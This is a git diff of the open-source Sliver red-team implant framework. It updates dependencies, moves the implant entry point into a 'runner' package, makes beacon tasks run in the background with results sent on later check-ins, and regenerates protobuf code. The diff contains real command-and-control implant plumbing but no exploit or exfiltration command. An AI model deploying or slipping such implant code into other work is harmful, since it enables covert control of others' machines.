github.com/klauspost/compress v1.18.1 h1:bcSGx7UbpBqMChDtsF28Lw6v/G94LPrrbMbdC3JH2co=
github.com/klauspost/compress v1.18.1/go.mod h1:ZQFFVG+MdnR0P+l6wpXgIL4NTtwiKIdBnrBd8Nrxr+0=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ=
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk=
@@ -306,6 +313,10 @@ github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69
github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
github.com/mark3labs/mcp-go v0.43.2 h1:21PUSlWWiSbUPQwXIJ5WKlETixpFpq+WBpbMGDSVy/I=
github.com/mark3labs/mcp-go v0.43.2/go.mod h1:YnJfOL382MIWDx1kMY+2zsRHU/q78dBg9aFb8W6Thdw=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
@@ -339,6 +350,8 @@ github.com/moloch--/go-keystone v0.0.2 h1:xThbYs45CSzoDUz5kBZxAyTPIpK3t5M7NB1x+N
github.com/moloch--/go-keystone v0.0.2/go.mod h1:kpGRJpw9b7Eq3MluHrba+GPKZhSyDrvhLULSwH5nGGM=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
github.com/moloch--/readline v0.0.0-20260104185423-d3ac1d6c561d h1:9RbKockJl6ZdgoEh2QqU3An6Ij/NWZtRWS3J6yG0+qo=
github.com/moloch--/readline v0.0.0-20260104185423-d3ac1d6c561d/go.mod h1:CwNkh9BmFBBCSO6mdDaNWb34rOqQsI9eYbxyqvOEazY=
github.com/moloch--/sgn v0.0.4 h1:90IC5rx3TmPEfrqPnENB0yyiqcbcNk9LqezXx7uruF0=
github.com/moloch--/sgn v0.0.4/go.mod h1:FyWfCtdynywgLmVR71vTJztZ3WkGSkR91Y4EOijUutE=
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 h1:ZK8zHtRHOkbHy6Mmr5D264iyp3TiX5OmNcI5cIARiQI=
@@ -380,8 +393,6 @@ github.com/prometheus/common v0.55.0 h1:KEi6DK7lXW/m7Ig5i47x0vRzuBsHuvJdi5ee6Y3G
github.com/prometheus/common v0.55.0/go.mod h1:2SECS4xJG1kd8XF9IcM1gMX6510RAEL65zxzNImwdc8=
github.com/reeflective/console v0.1.25 h1:do/r6rcKH6pCQDEzh5PhoVFcqHkqcjd0N6tNjpmYWWQ=
github.com/reeflective/console v0.1.25/go.mod h1:It/IqEjo0PowaBuxBS9pEi5EYUgmtvQd0ytMtlS77kk=
github.com/reeflective/readline v1.1.3 h1:meGkuEmujZHmalJ9eT3pYkwtkufH5EwYFPTnaph0T0s=
github.com/reeflective/readline v1.1.3/go.mod h1:CwNkh9BmFBBCSO6mdDaNWb34rOqQsI9eYbxyqvOEazY=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
@@ -399,6 +410,8 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/spf13/cast v1.7.1 h1:cuNEagBQEHWN1FnbGEjCXL2szYEXqfJPbP2HNUaca9Y=
github.com/spf13/cast v1.7.1/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo=
github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho=
github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0=
github.com/spf13/cobra v1.10.1 h1:lJeBwCfmrnXthfAupyUTzJ/J4Nc1RsHC/mSRU2dll/s=
@@ -455,6 +468,8 @@ github.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY=
github.com/ulikunitz/xz v0.5.15/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/vishvananda/netns v0.0.5 h1:DfiHV+j8bA32MFM7bfEunvT8IAqQ/NzSJHtcmW5zdEY=
github.com/vishvananda/netns v0.0.5/go.mod h1:SpkAiCQRtJ6TvvxPnOSyH3BMl6unz3xZlaprSwhNNJM=
github.com/wk8/go-ordered-map/v2 v2.1.8 h1:5h/BUHu93oj4gIdvHHHGsScSTMijfx5PeYkE/fJgbpc=
github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw=
github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM=
github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg=
github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ=
@@ -463,6 +478,8 @@ github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavM
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM=
github.com/yiya1989/sshkrb5 v0.0.1 h1:oAKpXLBeZExjYDV9eTL2KypmXU+5oPrJtqDuR5JbWic=
github.com/yiya1989/sshkrb5 v0.0.1/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4=
github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA=
+1 -1
View File
@@ -6,7 +6,7 @@ Core Go implementation of the Sliver implant runtime and supporting subsystems.
## Go Files
- `sliver.go` – Implant entry point that wires transports, handlers, and the task runner together at startup.
- `main.go` – Implant entry point that wires transports, handlers, and the task runner together at startup.
## Sub-packages
@@ -1,4 +1,4 @@
#include "sliver.h"
#include "main.h"
#ifdef __WIN32
#include <windows.h>
+47
View File
@@ -0,0 +1,47 @@
package main
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if or .Config.IsSharedLib }}
//#include "main.h"
import "C"
// {{end}}
import (
"github.com/bishopfox/sliver/implant/sliver/runner"
)
// {{if or .Config.IsSharedLib .Config.IsShellcode}}
var isRunning bool = false
// {{range .Config.Exports}}
//export {{.}}
func {{.}} () {
if !isRunning {
isRunning = true
main()
}
}
// {{end}}
// {{end}}
func main() {
runner.Main()
}
File renamed without changes.
@@ -1,4 +1,4 @@
package main
package runner
/*
Sliver Implant Framework
@@ -18,12 +18,6 @@ package main
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if or .Config.IsSharedLib }}
//#include "sliver.h"
import "C"
// {{end}}
import (
"errors"
@@ -105,26 +99,11 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
}
}
}
return
}
// {{end}}
// {{if or .Config.IsSharedLib .Config.IsShellcode}}
var isRunning bool = false
// {{range .Config.Exports}}
//export {{.}}
func {{.}} () {
if !isRunning {
isRunning = true
main()
}
}
// {{end}}
// {{end}}
func main() {
func Main() {
// {{if .Config.Debug}}
log.SetFlags(log.LstdFlags | log.Lshortfile)
@@ -272,17 +251,19 @@ func beaconMainLoop(beacon *transports.Beacon) error {
time.Sleep(time.Second)
beacon.Close()
// BeaconMain - Is executed in it's own goroutine as the function will block
// until all tasks complete (in success or failure), if a task handler blocks
// forever it will simply block this set of tasks instead of the entire beacon
// BeaconMain - Tasks run in background goroutines, check-ins happen on schedule
// Results are collected and sent on subsequent check-ins
pendingResults := make(chan *sliverpb.Envelope, 100)
errors := make(chan error)
shortCircuit := make(chan struct{})
for {
duration := beacon.Duration()
nextCheckin = time.Now().Add(duration)
go func() {
oldInterval := beacon.Interval()
err := beaconMain(beacon, nextCheckin)
err := beaconMain(beacon, nextCheckin, pendingResults)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] main error: %v", nextCheckin)
@@ -310,7 +291,7 @@ func beaconMainLoop(beacon *transports.Beacon) error {
return nil
}
func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
func beaconMain(beacon *transports.Beacon, nextCheckin time.Time, pendingResults chan *sliverpb.Envelope) error {
err := beacon.Start()
if err != nil {
// {{if .Config.Debug}}
@@ -325,12 +306,26 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
time.Sleep(time.Second)
beacon.Close()
}()
// Collect any pending results from background tasks
var completedResults []*sliverpb.Envelope
collecting:
for {
select {
case result := <-pendingResults:
completedResults = append(completedResults, result)
default:
break collecting
}
}
// {{if .Config.Debug}}
log.Printf("[beacon] sending check in ...")
log.Printf("[beacon] sending check in with %d pending results...", len(completedResults))
// {{end}}
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: InstanceID,
NextCheckin: int64(beacon.Duration().Seconds()),
Tasks: completedResults,
}))
if err != nil {
// {{if .Config.Debug}}
@@ -382,30 +377,81 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
}
}
// ensure extensions are registered before they are called
var results []*sliverpb.Envelope
// Dispatch tasks to background - results sent to pendingResults as each completes
// Extensions must be registered synchronously before other tasks can use them
for _, r := range beaconHandleTasklist(tasksExtensionRegister) {
results = append(results, r)
}
for _, r := range beaconHandleTasklist(tasksOther) {
results = append(results, r)
pendingResults <- r
}
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: InstanceID,
Tasks: results,
}))
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] error sending results %s", err)
// {{end}}
}
// Dispatch other tasks individually - each sends its result when done
beaconDispatchTasks(tasksOther, pendingResults)
// {{if .Config.Debug}}
log.Printf("[beacon] all results sent to server, cleanup ...")
log.Printf("[beacon] tasks dispatched to background, check-in complete")
// {{end}}
return nil
}
// beaconDispatchTasks dispatches tasks to run in background, sending results as each completes
func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults chan *sliverpb.Envelope) {
sysHandlers := handlers.GetSystemHandlers()
specHandlers := handlers.GetKillHandlers()
for _, task := range tasks {
// {{if .Config.Debug}}
log.Printf("[beacon] dispatching task %d", task.Type)
// {{end}}
if handler, ok := sysHandlers[task.Type]; ok {
data := task.Data
taskID := task.ID
// {{if eq .Config.GOOS "windows" }}
go func() {
handlers.WrapperHandler(handler, data, func(data []byte, err error) {
// {{if .Config.Debug}}
if err != nil {
log.Printf("[beacon] handler function returned an error: %s", err)
}
log.Printf("[beacon] task completed (id: %d)", taskID)
// {{end}}
pendingResults <- &sliverpb.Envelope{
ID: taskID,
Data: data,
}
})
}()
// {{else}}
go func() {
handler(data, func(data []byte, err error) {
// {{if .Config.Debug}}
if err != nil {
log.Printf("[beacon] handler function returned an error: %s", err)
}
log.Printf("[beacon] task completed (id: %d)", taskID)
// {{end}}
pendingResults <- &sliverpb.Envelope{
ID: taskID,
Data: data,
}
})
}()
// {{end}}
} else if task.Type == sliverpb.MsgOpenSession {
go openSessionHandler(task.Data)
pendingResults <- &sliverpb.Envelope{
ID: task.ID,
Data: []byte{},
}
} else if handler, ok := specHandlers[task.Type]; ok {
go handler(task.Data, nil)
} else {
pendingResults <- &sliverpb.Envelope{
ID: task.ID,
UnknownMessageType: true,
}
}
}
}
func beaconHandleTasklist(tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
results := []*sliverpb.Envelope{}
resultsMutex := &sync.Mutex{}
File diff suppressed because it is too large. Load diff
+1
View File
@@ -148,6 +148,7 @@ message ImplantConfig {
bool ObfuscateSymbols = 12;
string TemplateName = 13;
bool SGNEnabled = 14;
string GoPackage = 15;
bool IncludeMTLS = 53;
bool IncludeHTTP = 16;
+151 -61
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.36.3
// protoc v5.29.3
// protoc-gen-go v1.26.0
// protoc v6.33.2
// source: commonpb/common.proto
package commonpb
@@ -21,16 +21,18 @@ const (
)
type Empty struct {
state protoimpl.MessageState `protogen:"open.v1"`
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
}
func (x *Empty) Reset() {
*x = Empty{}
mi := &file_commonpb_common_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Empty) String() string {
@@ -41,7 +43,7 @@ func (*Empty) ProtoMessage() {}
func (x *Empty) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[0]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -58,20 +60,23 @@ func (*Empty) Descriptor() ([]byte, []int) {
// Request - Common fields used in all gRPC requests
type Request struct {
state protoimpl.MessageState `protogen:"open.v1"`
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
}
func (x *Request) Reset() {
*x = Request{}
mi := &file_commonpb_common_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Request) String() string {
@@ -82,7 +87,7 @@ func (*Request) ProtoMessage() {}
func (x *Request) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[1]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -126,24 +131,26 @@ func (x *Request) GetSessionID() string {
}
// Response - Common fields used in all gRPC responses. Note that the Err field
//
// only used when the implant needs to return an error to the server.
// Client<->Server comms should use normal gRPC error handling.
// only used when the implant needs to return an error to the server.
// Client<->Server comms should use normal gRPC error handling.
type Response struct {
state protoimpl.MessageState `protogen:"open.v1"`
Err string `protobuf:"bytes,1,opt,name=Err,proto3" json:"Err,omitempty"`
Async bool `protobuf:"varint,2,opt,name=Async,proto3" json:"Async,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
TaskID string `protobuf:"bytes,9,opt,name=TaskID,proto3" json:"TaskID,omitempty"`
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Err string `protobuf:"bytes,1,opt,name=Err,proto3" json:"Err,omitempty"`
Async bool `protobuf:"varint,2,opt,name=Async,proto3" json:"Async,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
TaskID string `protobuf:"bytes,9,opt,name=TaskID,proto3" json:"TaskID,omitempty"`
}
func (x *Response) Reset() {
*x = Response{}
mi := &file_commonpb_common_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Response) String() string {
@@ -154,7 +161,7 @@ func (*Response) ProtoMessage() {}
func (x *Response) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[2]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -199,18 +206,21 @@ func (x *Response) GetTaskID() string {
// File - A basic file data type
type File struct {
state protoimpl.MessageState `protogen:"open.v1"`
Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
}
func (x *File) Reset() {
*x = File{}
mi := &file_commonpb_common_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *File) String() string {
@@ -221,7 +231,7 @@ func (*File) ProtoMessage() {}
func (x *File) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[3]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -252,23 +262,26 @@ func (x *File) GetData() []byte {
// Process - A basic process data type
type Process struct {
state protoimpl.MessageState `protogen:"open.v1"`
Pid int32 `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
Ppid int32 `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
Executable string `protobuf:"bytes,3,opt,name=Executable,proto3" json:"Executable,omitempty"`
Owner string `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
Architecture string `protobuf:"bytes,7,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
SessionID int32 `protobuf:"varint,5,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
CmdLine []string `protobuf:"bytes,6,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Pid int32 `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
Ppid int32 `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
Executable string `protobuf:"bytes,3,opt,name=Executable,proto3" json:"Executable,omitempty"`
Owner string `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
Architecture string `protobuf:"bytes,7,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
SessionID int32 `protobuf:"varint,5,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
CmdLine []string `protobuf:"bytes,6,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
}
func (x *Process) Reset() {
*x = Process{}
mi := &file_commonpb_common_proto_msgTypes[4]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[4]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Process) String() string {
@@ -279,7 +292,7 @@ func (*Process) ProtoMessage() {}
func (x *Process) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[4]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -345,18 +358,21 @@ func (x *Process) GetCmdLine() []string {
// EnvVar - Environment variable K/V
type EnvVar struct {
state protoimpl.MessageState `protogen:"open.v1"`
Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
}
func (x *EnvVar) Reset() {
*x = EnvVar{}
mi := &file_commonpb_common_proto_msgTypes[5]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[5]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *EnvVar) String() string {
@@ -367,7 +383,7 @@ func (*EnvVar) ProtoMessage() {}
func (x *EnvVar) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[5]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -453,7 +469,7 @@ func file_commonpb_common_proto_rawDescGZIP() []byte {
}
var file_commonpb_common_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
var file_commonpb_common_proto_goTypes = []any{
var file_commonpb_common_proto_goTypes = []interface{}{
(*Empty)(nil), // 0: commonpb.Empty
(*Request)(nil), // 1: commonpb.Request
(*Response)(nil), // 2: commonpb.Response
@@ -474,6 +490,80 @@ func file_commonpb_common_proto_init() {
if File_commonpb_common_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_commonpb_common_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Empty); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Request); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Response); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*File); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Process); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*EnvVar); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
+37 -18
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.36.3
// protoc v5.29.3
// protoc-gen-go v1.26.0
// protoc v6.33.2
// source: dnspb/dns.proto
package dnspb
@@ -87,27 +87,32 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
}
// NOTE: DNS is very space sensitive so certain fields are re-purposed
// depending on the DNSMessageType as noted below:
//
// [Type TOTP]: ID field is used for the TOTP code
//NOTE: DNS is very space sensitive so certain fields are re-purposed
//depending on the DNSMessageType as noted below:
//
//[Type TOTP]: ID field is used for the TOTP code
//
type DNSMessage struct {
state protoimpl.MessageState `protogen:"open.v1"`
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"` // 8 bit message id + 24 bit dns session ID
Start uint32 `protobuf:"varint,3,opt,name=Start,proto3" json:"Start,omitempty"` // Bytes start at
Stop uint32 `protobuf:"varint,4,opt,name=Stop,proto3" json:"Stop,omitempty"` // Bytes stop at
Size uint32 `protobuf:"varint,5,opt,name=Size,proto3" json:"Size,omitempty"` // Total size
Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` // Actual data
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"` // 8 bit message id + 24 bit dns session ID
Start uint32 `protobuf:"varint,3,opt,name=Start,proto3" json:"Start,omitempty"` // Bytes start at
Stop uint32 `protobuf:"varint,4,opt,name=Stop,proto3" json:"Stop,omitempty"` // Bytes stop at
Size uint32 `protobuf:"varint,5,opt,name=Size,proto3" json:"Size,omitempty"` // Total size
Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` // Actual data
}
func (x *DNSMessage) Reset() {
*x = DNSMessage{}
mi := &file_dnspb_dns_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
